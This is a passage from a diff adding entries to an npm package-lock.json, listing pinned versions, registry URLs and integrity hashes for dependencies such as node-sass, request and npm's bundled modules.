"^2.3.3", + "stream-browserify": "^2.0.1", + "stream-http": "^2.7.2", + "string_decoder": "^1.0.0", + "timers-browserify": "^2.0.4", + "tty-browserify": "0.0.0", + "url": "^0.11.0", + "util": "^0.10.3", + "vm-browserify": "0.0.4" + }, + "dependencies": { + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "timers-browserify": { + "version": "2.0.10", + "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.10.tgz", + "integrity": "sha512-YvC1SV1XdOUaL6gx5CoGroT3Gu49pK9+TZ38ErPldOWW4j49GI1HKs9DV+KGq/w6y+LZ72W1c8cKz2vzY+qpzg==", + "dev": true, + "requires": { + "setimmediate": "^1.0.4" + } + } + } + }, + "node-releases": { + "version": "1.0.0-alpha.10", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.0.0-alpha.10.tgz", + "integrity": "sha512-BSQrRgOfN6L/MoKIa7pRUc7dHvflCXMcqyTBvphixcSsgJTuUd24vAFONuNfVsuwTyz28S1HEc9XN6ZKylk4Hg==", + "dev": true, + "requires": { + "semver": "^5.3.0" + } + }, + "node-sass": { + "version": "4.13.1", + "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.13.1.tgz", + "integrity": "sha512-TTWFx+ZhyDx1Biiez2nB0L3YrCZ/8oHagaDalbuBSlqXgUPsdkUSzJsVxeDO9LtPB49+Fh3WQl3slABo6AotNw==", + "dev": true, + "requires": { + "async-foreach": "^0.1.3", + "chalk": "^1.1.1", + "cross-spawn": "^3.0.0", + "gaze": "^1.0.0", + "get-stdin": "^4.0.1", + "glob": "^7.0.3", + "in-publish": "^2.0.0", + "lodash": "^4.17.15", + "meow": "^3.7.0", + "mkdirp": "^0.5.1", + "nan": "^2.13.2", + "node-gyp": "^3.8.0", + "npmlog": "^4.0.0", + "request": "^2.88.0", + "sass-graph": "^2.2.4", + "stdout-stream": "^1.4.0", + "true-case-path": "^1.0.2" + }, + "dependencies": { + "ajv": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.11.0.tgz", + "integrity": "sha512-nCprB/0syFYy9fVYU1ox1l2KN8S9I+tziH8D4zdZuLT3N6RMlGSGt5FSTpAiHB/Whv8Qs1cWHma1aMKZyaHRKA==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "aws4": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.9.1.tgz", + "integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug==", + "dev": true + }, + "cross-spawn": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-3.0.1.tgz", + "integrity": "sha1-ElYDfsufDF9549bvE14wdwGEuYI=", + "dev": true, + "requires": { + "lru-cache": "^4.0.1", + "which": "^1.2.9" + } + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true + }, + "fast-deep-equal": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz", + "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==", + "dev": true + }, + "har-validator": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", + "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", + "dev": true, + "requires": { + "ajv": "^6.5.5", + "har-schema": "^2.0.0" + } + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "nan": { + "version": "2.14.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz", + "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg==", + "dev": true + }, + "node-gyp": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz", + "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==", + "dev": true, + "requires": { + "fstream": "^1.0.0", + "glob": "^7.0.3", + "graceful-fs": "^4.1.2", + "mkdirp": "^0.5.0", + "nopt": "2 || 3", + "npmlog": "0 || 1 || 2 || 3 || 4", + "osenv": "0", + "request": "^2.87.0", + "rimraf": "2", + "semver": "~5.3.0", + "tar": "^2.0.0", + "which": "1" + } + }, + "oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==", + "dev": true + }, + "qs": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", + "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==", + "dev": true + }, + "request": { + "version": "2.88.0", + "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", + "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", + "dev": true, + "requires": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.0", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.4.3", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + } + }, + "safe-buffer": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz", + "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==", + "dev": true + }, + "semver": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", + "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=", + "dev": true + }, + "uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "dev": true + } + } + }, + "node-stream-zip": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/node-stream-zip/-/node-stream-zip-1.15.0.tgz", + "integrity": "sha512-LN4fydt9TqhZhThkZIVQnF9cwjU3qmUH9h78Mx/K7d3VvfRqqwthLwJEUOEL0QPZ0XQmNN7be5Ggit5+4dq3Bw==", + "peer": true + }, + "node-wp-i18n": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/node-wp-i18n/-/node-wp-i18n-1.2.0.tgz", + "integrity": "sha512-HsvI4yYt+bZ1G92Sb4YmAz2xoC7t/YWct/OPa33ZczjLrRpp7R9Wj7vp1gq2bcrCI2U7MX8Kuw0Iy7AwEPohdA==", + "dev": true, + "requires": { + "bluebird": "^3.4.1", + "gettext-parser": "^1.2.0", + "glob": "^7.0.5", + "lodash": "^4.14.2", + "minimist": "^1.2.0", + "mkdirp": "^0.5.1", + "tmp": "^0.0.33" + } + }, + "noop-logger": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/noop-logger/-/noop-logger-0.1.1.tgz", + "integrity": "sha1-lKKxYzxPExdVMAfYlm/Q6EG2pMI=", + "dev": true, + "optional": true + }, + "nopt": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", + "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", + "dev": true, + "requires": { + "abbrev": "1" + } + }, + "normalize-package-data": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", + "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", + "dev": true, + "requires": { + "hosted-git-info": "^2.1.4", + "is-builtin-module": "^1.0.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "dev": true, + "requires": { + "remove-trailing-separator": "^1.0.1" + } + }, + "normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=", + "dev": true + }, + "normalize-url": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-1.9.1.tgz", + "integrity": "sha1-LMDWazHqIwNkWENuNiDYWVTGbDw=", + "dev": true, + "requires": { + "object-assign": "^4.0.1", + "prepend-http": "^1.0.0", + "query-string": "^4.1.0", + "sort-keys": "^1.0.0" + } + }, + "npm": { + "version": "6.14.18", + "resolved": "https://registry.npmjs.org/npm/-/npm-6.14.18.tgz", + "integrity": "sha512-p3SjqSchSuNQUqbJBgwdv0L3O6bKkaSfQrQzJsskNpNKLg0g37c5xTXFV0SqTlX9GWvoGxBELVJMRWq0J8oaLA==", + "dev": true, + "requires": { + "abbrev": "~1.1.1", + "ansicolors": "~0.3.2", + "ansistyles": "~0.1.3", + "aproba": "^2.0.0", + "archy": "~1.0.0", + "bin-links": "^1.1.8", + "bluebird": "^3.7.2", + "byte-size": "^5.0.1", + "cacache": "^12.0.4", + "call-limit": "^1.1.1", + "chownr": "^1.1.4", + "ci-info": "^2.0.0", + "cli-columns": "^3.1.2", + "cli-table3": "^0.5.1", + "cmd-shim": "^3.0.3", + "columnify": "~1.5.4", + "config-chain": "^1.1.13", + "debuglog": "*", + "detect-indent": "~5.0.0", + "detect-newline": "^2.1.0", + "dezalgo": "^1.0.4", + "editor": "~1.0.0", + "figgy-pudding": "^3.5.2", + "find-npm-prefix": "^1.0.2", + "fs-vacuum": "~1.2.10", + "fs-write-stream-atomic": "~1.0.10", + "gentle-fs": "^2.3.1", + "glob": "^7.2.3", + "graceful-fs": "^4.2.10", + "has-unicode": "~2.0.1", + "hosted-git-info": "^2.8.9", + "iferr": "^1.0.2", + "imurmurhash": "*", + "infer-owner": "^1.0.4", + "inflight": "~1.0.6", + "inherits": "^2.0.4", + "ini": "^1.3.8", + "init-package-json": "^1.10.3", + "is-cidr": "^3.1.1", + "json-parse-better-errors": "^1.0.2", + "JSONStream": "^1.3.5", + "lazy-property": "~1.0.0", + "libcipm": "^4.0.8", + "libnpm": "^3.0.1", + "libnpmaccess": "^3.0.2", + "libnpmhook": "^5.0.3", + "libnpmorg": "^1.0.1", + "libnpmsearch": "^2.0.2", + "libnpmteam": "^1.0.2", + "libnpx": "^10.2.4", + "lock-verify": "^2.2.2", + "lockfile": "^1.0.4", + "lodash._baseindexof": "*", + "lodash._baseuniq": "~4.6.0", + "lodash._bindcallback": "*", + "lodash._cacheindexof": "*", + "lodash._createcache": "*", + "lodash._getnative": "*", + "lodash.clonedeep": "~4.5.0", + "lodash.restparam": "*", + "lodash.union": "~4.6.0", + "lodash.uniq": "~4.5.0", + "lodash.without": "~4.4.0", + "lru-cache": "^5.1.1", + "meant": "^1.0.3", + "mississippi": "^3.0.0", + "mkdirp": "^0.5.6", + "move-concurrently": "^1.0.1", + "node-gyp": "^5.1.1", + "nopt": "^4.0.3", + "normalize-package-data": "^2.5.0", + "npm-audit-report": "^1.3.3", + "npm-cache-filename": "~1.0.2", + "npm-install-checks": "^3.0.2", + "npm-lifecycle": "^3.1.5", + "npm-package-arg": "^6.1.1", + "npm-packlist": "^1.4.8", + "npm-pick-manifest": "^3.0.2", + "npm-profile": "^4.0.4", + "npm-registry-fetch": "^4.0.7", + "npm-user-validate": "^1.0.1", + "npmlog": "~4.1.2", + "once": "~1.4.0", + "opener": "^1.5.2", + "osenv": "^0.1.5", + "pacote": "^9.5.12", + "path-is-inside": "~1.0.2", + "promise-inflight": "~1.0.1", + "qrcode-terminal": "^0.12.0", + "query-string": "^6.14.1", + "qw": "^1.0.2", + "read": "~1.0.7", + "read-cmd-shim": "^1.0.5", + "read-installed": "~4.0.3", + "read-package-json": "^2.1.2", + "read-package-tree": "^5.3.1", + "readable-stream": "^3.6.0", + "readdir-scoped-modules": "^1.1.0", + "request": "^2.88.2", + "retry": "^0.12.0", + "rimraf": "^2.7.1", + "safe-buffer": "^5.2.1", + "semver": "^5.7.1", + "sha": "^3.0.0", + "slide": "~1.1.6", + "sorted-object": "~2.0.1", + "sorted-union-stream": "~2.1.3", + "ssri": "^6.0.2", + "stringify-package": "^1.0.1", + "tar": "^4.4.19", + "text-table": "~0.2.0", + "tiny-relative-date": "^1.3.0", + "uid-number": "0.0.6", + "umask": "~1.1.0", + "unique-filename": "^1.1.1", + "unpipe": "~1.0.0", + "update-notifier": "^2.5.0", + "uuid": "^3.4.0", + "validate-npm-package-license": "^3.0.4", + "validate-npm-package-name": "~3.0.0", + "which": "^1.3.1", + "worker-farm": "^1.7.0", + "write-file-atomic": "^2.4.3" + }, + "dependencies": { + "@iarna/cli": { + "version": "2.1.0", + "bundled": true, + "dev": true, + "requires": { + "glob": "^7.1.2", + "signal-exit": "^3.0.2" + } + }, + "abbrev": { + "version": "1.1.1", + "bundled": true, + "dev": true + }, + "agent-base": { + "version": "4.3.0", + "bundled": true, + "dev": true, + "requires": { + "es6-promisify": "^5.0.0" + } + }, + "agentkeepalive": { + "version": "3.5.2", + "bundled": true, + "dev": true, + "requires": { + "humanize-ms": "^1.2.1" + } + }, + "ansi-align": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "requires": { + "string-width": "^2.0.0" + } + }, + "ansi-regex": { + "version": "2.1.1", + "bundled": true, + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "bundled": true, + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "ansicolors": { + "version": "0.3.2", + "bundled": true, + "dev": true + }, + "ansistyles": { + "version": "0.1.3", + "bundled": true, + "dev": true + }, + "aproba": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "archy": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "are-we-there-yet": { + "version": "1.1.4", + "bundled": true, + "dev": true, + "requires": { + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + } + } + }, + "asap": { + "version": "2.0.6", + "bundled": true, + "dev": true + }, + "asn1": { + "version": "0.2.6", + "bundled": true, + "dev": true, + "requires": { + "safer-buffer": "~2.1.0" + } + }, + "assert-plus": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "asynckit": { + "version": "0.4.0", + "bundled": true, + "dev": true + }, + "aws-sign2": { + "version": "0.7.0", + "bundled": true, + "dev": true + }, + "aws4": { + "version": "1.11.0", + "bundled": true, + "dev": true + }, + "balanced-match": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "bcrypt-pbkdf": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "requires": { + "tweetnacl": "^0.14.3" + } + }, + "bin-links": { + "version": "1.1.8", + "bundled": true, + "dev": true, + "requires": { + "bluebird": "^3.5.3", + "cmd-shim": "^3.0.0", + "gentle-fs": "^2.3.0", + "graceful-fs": "^4.1.15", + "npm-normalize-package-bin": "^1.0.0", + "write-file-atomic": "^2.3.0" + } + }, + "bluebird": { + "version": "3.7.2", + "bundled": true, + "dev": true + }, + "boxen": { + "version": "1.3.0", + "bundled": true, + "dev": true, + "requires": { + "ansi-align": "^2.0.0", + "camelcase": "^4.0.0", + "chalk": "^2.0.1", + "cli-boxes": "^1.0.0", + "string-width": "^2.0.0", + "term-size": "^1.2.0", + "widest-line": "^2.0.0" + } + }, + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "dev": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "buffer-from": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "builtins": { + "version": "1.0.3", + "bundled": true, + "dev": true + }, + "byline": { + "version": "5.0.0", + "bundled": true, + "dev": true + }, + "byte-size": { + "version": "5.0.1", + "bundled": true, + "dev": true + }, + "cacache": { + "version": "12.0.4", + "bundled": true, + "dev": true, + "requires": { + "bluebird": "^3.5.5", + "chownr": "^1.1.1", + "figgy-pudding": "^3.5.1", + "glob": "^7.1.4", + "graceful-fs": "^4.1.15", + "infer-owner": "^1.0.3", + "lru-cache": "^5.1.1", + "mississippi": "^3.0.0", + "mkdirp": "^0.5.1", + "move-concurrently": "^1.0.1", + "promise-inflight": "^1.0.1", + "rimraf": "^2.6.3", + "ssri": "^6.0.1", + "unique-filename": "^1.1.1", + "y18n": "^4.0.0" + } + }, + "call-limit": { + "version": "1.1.1", + "bundled": true, + "dev": true + }, + "camelcase": { + "version": "4.1.0", + "bundled": true, + "dev": true + }, + "capture-stack-trace": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "caseless": { + "version": "0.12.0", + "bundled": true, + "dev": true + }, + "chalk": { + "version": "2.4.1", + "bundled": true, + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "chownr": { + "version": "1.1.4", + "bundled": true, + "dev": true + }, + "ci-info": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "cidr-regex": { + "version": "2.0.10", + "bundled": true, + "dev": true, + "requires": { + "ip-regex": "^2.1.0" + } + }, + "cli-boxes": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "cli-columns": { + "version": "3.1.2", + "bundled": true, + "dev": true, + "requires": { + "string-width": "^2.0.0", + "strip-ansi": "^3.0.1" + } + }, + "cli-table3": { + "version": "0.5.1", + "bundled": true, + "dev": true, + "requires": { + "colors": "^1.1.2", + "object-assign": "^4.1.0", + "string-width": "^2.1.1" + } + }, + "cliui": { + "version": "5.0.0", + "bundled": true, + "dev": true, + "requires": { + "string-width": "^3.1.0", + "strip-ansi": "^5.2.0", + "wrap-ansi": "^5.1.0" + }, + "dependencies": { + "ansi-regex": { + "version": "4.1.1", + "bundled": true, + "dev": true + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "string-width": { + "version": "3.1.0", + "bundled": true, + "dev": true, + "requires": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + } + }, + "strip-ansi": { + "version": "5.2.0", + "bundled": true, + "dev": true, + "requires": { + "ansi-regex": "^4.1.0" + } + } + } + }, + "clone": { + "version": "1.0.4", + "bundled": true, + "dev": true + }, + "cmd-shim": { + "version": "3.0.3", + "bundled": true, + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "mkdirp": "~0.5.0" + } + }, + "code-point-at": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, + "color-convert": { + "version": "1.9.1", + "bundled": true, + "dev": true, + "requires": { + "color-name": "^1.1.1" + } + }, + "color-name": { + "version": "1.1.3", + "bundled": true, + "dev": true + }, + "colors": { + "version": "1.3.3", + "bundled": true, + "dev": true, + "optional": true + }, + "columnify": { + "version": "1.5.4", + "bundled": true, + "dev": true, + "requires": { + "strip-ansi": "^3.0.0", + "wcwidth": "^1.0.0" + } + }, + "combined-stream": { + "version": "1.0.8", + "bundled": true, + "dev": true, + "requires": { + "delayed-stream": "~1.0.0" + } + }, + "concat-map": { + "version": "0.0.1", + "bundled": true, + "dev": true + }, + "concat-stream": { + "version": "1.6.2", + "bundled": true, + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + } + } + }, + "config-chain": { + "version": "1.1.13", + "bundled": true, + "dev": true, + "requires": { + "ini": "^1.3.4", + "proto-list": "~1.2.1" + } + }, + "configstore": { + "version": "3.1.5", + "bundled": true, + "dev": true, + "requires": { + "dot-prop": "^4.2.1", + "graceful-fs": "^4.1.2", + "make-dir": "^1.0.0", + "unique-string": "^1.0.0", + "write-file-atomic": "^2.0.0", + "xdg-basedir": "^3.0.0" + } + }, + "console-control-strings": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, + "copy-concurrently": { + "version": "1.0.5", + "bundled": true, + "dev": true, + "requires": { + "aproba": "^1.1.1", + "fs-write-stream-atomic": "^1.0.8", + "iferr": "^0.1.5", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.0" + }, + "dependencies": { + "aproba": { + "version": "1.2.0", + "bundled": true, + "dev": true + }, + "iferr": { + "version": "0.1.5", + "bundled": true, + "dev": true + } + } + }, + "core-util-is": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "create-error-class": { + "version": "3.0.2", + "bundled": true, + "dev": true, + "requires": { + "capture-stack-trace": "^1.0.0" + } + }, + "cross-spawn": { + "version": "5.1.0", + "bundled": true, + "dev": true, + "requires": { + "lru-cache": "^4.0.1", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "dependencies": { + "lru-cache": { + "version": "4.1.5", + "bundled": true, + "dev": true, + "requires": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "yallist": { + "version": "2.1.2", + "bundled": true, + "dev": true + } + } + }, + "crypto-random-string": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "cyclist": { + "version": "0.2.2", + "bundled": true, + "dev": true + }, + "dashdash": { + "version": "1.14.1", + "bundled": true, + "dev": true, + "requires": { + "assert-plus": "^1.0.0" + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "dev": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true, + "dev": true + } + } + }, + "debuglog": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "decamelize": { + "version": "1.2.0", + "bundled": true, + "dev": true + }, + "decode-uri-component": { + "version": "0.2.2", + "bundled": true, + "dev": true + }, + "deep-extend": { + "version": "0.6.0", + "bundled": true, + "dev": true + }, + "defaults": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "requires": { + "clone": "^1.0.2" + } + }, + "define-properties": { + "version": "1.1.3", + "bundled": true, + "dev": true, + "requires": { + "object-keys": "^1.0.12" + } + }, + "delayed-stream": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "delegates": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "detect-indent": { + "version": "5.0.0", + "bundled": true, + "dev": true + }, + "detect-newline": { + "version": "2.1.0", + "bundled": true, + "dev": true + }, + "dezalgo": { + "version": "1.0.4", + "bundled": true, + "dev": true, + "requires": { + "asap": "^2.0.0", + "wrappy": "1" + } + }, + "dot-prop": { + "version": "4.2.1", + "bundled": true, + "dev": true, + "requires": { + "is-obj": "^1.0.0" + } + }, + "dotenv": { + "version": "5.0.1", + "bundled": true, + "dev": true + }, + "duplexer3": { + "version": "0.1.4", + "bundled": true, + "dev": true + }, + "duplexify": { + "version": "3.6.0", + "bundled": true, + "dev": true, + "requires": { + "end-of-stream": "^1.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.0.0", + "stream-shift": "^1.0.0" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + } + } + }, + "ecc-jsbn": { + "version": "0.1.2", + "bundled": true, + "dev": true, + "requires": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "editor": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "emoji-regex": { + "version": "7.0.3", + "bundled": true, + "dev": true + }, + "encoding": { + "version": "0.1.12", + "bundled": true, + "dev": true, + "requires": { + "iconv-lite": "~0.4.13" + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "dev": true, + "requires": { + "once": "^1.4.0" + } + }, + "env-paths": { + "version": "2.2.1", + "bundled": true, + "dev": true + }, + "err-code": { + "version": "1.1.2", + "bundled": true, + "dev": true + }, + "errno": { + "version": "0.1.7", + "bundled": true, + "dev": true, + "requires": { + "prr": "~1.0.1" + } + }, + "es-abstract": { + "version": "1.12.0", + "bundled": true, + "dev": true, + "requires": { + "es-to-primitive": "^1.1.1", + "function-bind": "^1.1.1", + "has": "^1.0.1", + "is-callable": "^1.1.3", + "is-regex": "^1.0.4" + } + }, + "es-to-primitive": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "requires": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + } + }, + "es6-promise": { + "version": "4.2.8", + "bundled": true, + "dev": true + }, + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "dev": true, + "requires": { + "es6-promise": "^4.0.3" + } + }, + "escape-string-regexp": { + "version": "1.0.5", + "bundled": true, + "dev": true + }, + "execa": { + "version": "0.7.0", + "bundled": true, + "dev": true, + "requires": { + "cross-spawn": "^5.0.1", + "get-stream": "^3.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + 